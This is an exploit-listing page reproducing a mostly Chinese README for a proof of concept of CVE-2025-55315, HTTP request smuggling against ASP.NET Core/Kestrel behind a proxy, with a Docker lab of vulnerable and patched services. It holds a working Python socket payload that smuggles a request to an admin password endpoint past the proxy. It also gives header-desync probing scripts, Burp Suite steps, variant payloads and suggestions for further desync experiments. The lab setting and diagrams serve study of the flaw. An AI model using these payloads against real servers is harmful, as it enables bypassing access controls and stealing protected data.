Sploitus

Exploit for CVE-2025-55315

kitploit · 2026-08-25

Exploit Code

MARKDOWN357 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MARTINFABIANIONUT-CVE-2025-55315
# CVE-2025-55315

CVE-2025-55315 的概念验证漏洞利用程序(.NET HTTP 请求走私)。展示了错误解析的分块编码如何让攻击者绕过易受攻击的 ASP.NET Core/Kestrel 服务器中的代理和负载均衡器进行请求走私。

## 📊 演示

**查看交互式 Prezi 演示**

![Prezi Presentation](https://img.shields.io/badge/Prezi-Presentation-3181CE?style=for-the-badge&logo=prezi&logoColor=white)

> 🎥 点击上方徽章以查看完整的交互式 Prezi 演示

## 项目结构

  * **Api** \- 整合的 ASP.NET Core API,包含两个 Dockerfile: 
    * `Dockerfile.vulnerable` \- 使用 .NET 10.0.100-rc.1(易受 CVE-2025-55315 影响)
    * `Dockerfile.patched` \- 使用 .NET 10.0.100(已修补版本)
  * **PythonProxy** \- 用于 CVE-2025-55315 漏洞利用演示的易受攻击代理(优先使用 Content-Length 而非 Transfer-Encoding)
  * **YarpProxy** \- 用于测试负载均衡的 YARP 反向代理(不属于漏洞利用部分)



> **注意** :该漏洞存在于 .NET 运行时的 HTTP 解析器 (Kestrel) 中,而非应用程序代码。两个版本使用相同的源代码,但 .NET 运行时版本不同。

## 快速开始

root@kitploit:~
    
    
    # Build and run all services
    docker-compose up --build
    
    # Access the services
    # Unsafe API: http://localhost:5001
    # Safe API: http://localhost:5002
    # Python Proxy (exploit): http://localhost:5027
    # YARP Proxy (load balancing): http://localhost:5028
    

参见 DOCKER.md 以获取详细的 Docker 使用说明。

## 漏洞利用演示

Python 代理通过优先使用 Content-Length 而非 Transfer-Encoding 来演示 CVE-2025-55315,从而启用 HTTP 请求走私:

root@kitploit:~
    
    
    payload = (
        "POST /passwords HTTP/1.1\r\n"
        "Host: localhost:5027\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "2;\n"
        "xx\r\n"
        "39\r\n"
        "0\r\n"
        "\r\n"
        "GET /passwords/admin HTTP/1.1\r\n"
        "Host: localhost:5001\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
    )
    
    import socket
    import time
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('localhost', 5027))
        s.sendall(payload.encode())
        
        # Read all available data
        s.settimeout(2.0)
        responses = b''
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                responses += chunk
        except socket.timeout:
            pass
        
        print("=== Complete Response ===")
        print(responses.decode('utf-8', errors='ignore'))
        print("\n=== Checking for smuggled request response ===")
        if b'/passwords/admin' in responses or b'admin' in responses:
            print("✓ Successfully smuggled request to /passwords/admin!")
        else:
            print("✗ Exploit failed or blocked")
    

该负载将第二个请求 `/passwords/admin` 走私通过代理的安全检查,利用了代理和后端服务器解析请求时的差异。

### 可视化请求解析

以下是代理和后端服务器对同一负载的不同解析方式:

**代理解析方式** (接受 `\n` 作为有效行结束符): root@kitploit:~
    
    
    flowchart TD
        subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
            PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
            PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
            PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
            PCH2["<b>39</b><br/><i>chunk header</i>"]
            PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
            PLK["<b>0</b><br/><i>last chunk</i>"]
        end
        
        subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
            PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
        end
    
        PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
        PLK -.-> PIG
    

|  **后端解析方式** (拒绝 `\n`,要求 `\r\n`): root@kitploit:~
    
    
    flowchart TD
        subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
            BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
            BCB1["<b>39</b><br/><i>chunk body</i>"]
            BLK1["<b>0</b><br/><i>last chunk</i>"]
        end
        
        subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
            BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
            BLK2["<b>0</b><br/><i>last chunk</i>"]
        end
    
        BH1 --> BCB1 --> BLK1
        BLK1 --> BH2 --> BLK2
        
        style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
      
  
---|---  
  
**关键差异:**

组件| 分块大小 `2;\n`| 读取字节数| 发生情况  
---|---|---|---  
**代理**|  ✅ 有效分块大小| 2 字节 (`xx`)| 将 `2;\n` 视为完整的分块头部,读取 2 字节,继续下一个分块  
**后端**|  ❌ 无效的行结束符| 仍读取为 `2` 字节分块| 分块头部直到 `xx\r\n` 才结束,因此 `39` 成为分块主体,`0` 结束分块  
  
**详细说明:**

  * **代理** :接受 `2;\n` 作为有效的分块大小声明(2 字节)→ 将 `xx` 读取为 2 字节的分块主体 → 移至下一个分块(`39`)
  * **后端** :拒绝 `\n` 作为行结束符 → 分块头部延伸至 `2;\nxx\r\n` → 将 `39` 读取为分块主体的一部分 → `0\r\n` 终止分块
  * **结果** :被走私的 `GET /passwords/admin` 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。



被走私的 `GET /passwords/admin` 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。

## 识别漏洞

在利用之前,您需要确定不同组件优先使用哪个 HTTP 头部(Content-Length 或 Transfer-Encoding)。以下是分步指南:

### 第 1 步:测试头部优先级

发送一个同时包含 `Content-Length` 和 `Transfer-Encoding: chunked` 头部的请求,以查看每个组件尊重哪一个:

root@kitploit:~
    
    
    POST /passwords HTTP/1.1\r\n
    Host: localhost:5001\r\n
    Transfer-Encoding: chunked\r\n
    Content-Length: 2\r\n
    \r\n
    6\r\n
    Fabian\r\n
    0\r\n
    \r\n
    

**分析:**

  * 如果服务器处理 **"Fa"** (2 字节)→ 它优先使用 `Content-Length`
  * 如果服务器处理 **"Fabian"** (完整的分块主体)→ 它优先使用 `Transfer-Encoding`



### 第 2 步:测试每个组件

测试架构中的所有组件以发现差异:

#### 测试不安全 API(端口 5001)

root@kitploit:~
    
    
    # Using Python
    import socket
    
    test_payload = (
        "POST /passwords HTTP/1.1\r\n"
        "Host: localhost:5001\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Length: 2\r\n"
        "\r\n"
        "6\r\n"
        "Fabian\r\n"
        "0\r\n"
        "\r\n"
    )
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('localhost', 5001))
        s.sendall(test_payload.encode())
        s.settimeout(1.0)
        try:
            response = s.recv(4096)
            print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
        except socket.timeout:
            pass
    

#### 测试安全 API(端口 5002)

root@kitploit:~
    
    
    # Change port to 5002 and test
    # Safe API should handle the conflict properly
    

#### 测试 Python 代理(端口 5027)

root@kitploit:~
    
    
    # Change port to 5027
    # Python proxy favors Content-Length (vulnerable)
    

#### 测试 YARP 代理(端口 5028)

root@kitploit:~
    
    
    # Change port to 5028
    # Test how YARP handles the header conflict
    

### 第 3 步:使用 Burp Suite 进行手动测试

  1. **拦截请求** :捕获一个正常的 POST 请求到 `/passwords`
  2. **修改头部** :手动添加两个头部:



root@kitploit:~
    
    
    Transfer-Encoding: chunked\r\n
    Content-Length: 2\r\n
    \r\n
    

  3. **设置主体** :使用分块编码格式:



root@kitploit:~
    
    
    6\r\n
    Fabian\r\n
    0\r\n
    \r\n   
    

  4. **比较响应** :发送到不同的端点,分析每个处理了主体的哪部分
  5. **识别差异** :如果代理读取 2 字节但后端读取完整分块,则存在不同步漏洞



### 第 4 步:构造漏洞利用

一旦识别出:

  * **代理** :优先使用 `Content-Length`(仅读取 N 字节)
  * **后端** :优先使用 `Transfer-Encoding`(读取分块主体)



您可以走私一个代理从未看到但后端会处理的第二个请求。

### 第 5 步:验证漏洞利用

运行完整的漏洞利用负载(参见上方“漏洞利用演示”部分)并确认:

  * 第一个响应:正常的 POST 结果
  * 第二个响应:管理端点数据(走私请求成功)



### 推荐工具

  * **Burp Suite** :手动请求构造和头部操作
  * **Python`socket`**:用于精确 HTTP 格式的低级控制
  * **带有`--data-binary` 的 curl**:快速命令行测试
  * **Wireshark** :数据包级分析,以确切查看每个组件接收的内容



## 替代漏洞利用变体

漏洞利用可以通过多种方式构造。**尝试不同的方法:**

### 使用显式 Content-Length

root@kitploit:~
    
    
    # Add Content-Length to make the desync explicit
    payload = (
        "POST /passwords HTTP/1.1\r\n"
        "Host: localhost:5027\r\n"
        "Content-Length: 75\r\n"
        "Transfer-Encoding: chunked\r\n"
        # ... rest of payload
    )
    

### 为什么它在没有 Content-Length 时也能工作

  * **代理** :接受 `\n` 作为有效行结束符 → 将 `2;\n` 视为分块大小 → 读取 2 字节(`xx`)
  * **后端** :拒绝 `\n` → 分块头部延伸至 `2;\nxx\r\n` → `39` 成为分块主体 → `0\r\n` 结束分块
  * **结果** :被走私的请求隐藏在分块主体中,被后端作为独立请求解析



### 实验思路

通过修改 `PythonProxy/proxy_server.py` 尝试不同的不同步场景:

  * **CL.TE** :代理使用 Content-Length,后端使用 Transfer-Encoding
  * **TE.CL** :代理使用 Transfer-Encoding,后端使用 Content-Length(尝试自己构造 API)
  * **TE.TE** :两者都使用 Transfer-Encoding,但解析方式不同(如 `\n` 与 `\r\n`)



尝试实验:

  * 不同的分块大小和格式
  * 连续多个走私请求
  * 各种 HTTP 方法(GET、POST、PUT、DELETE)——您可以在 API 中添加它们
  * 空白字符和特殊字符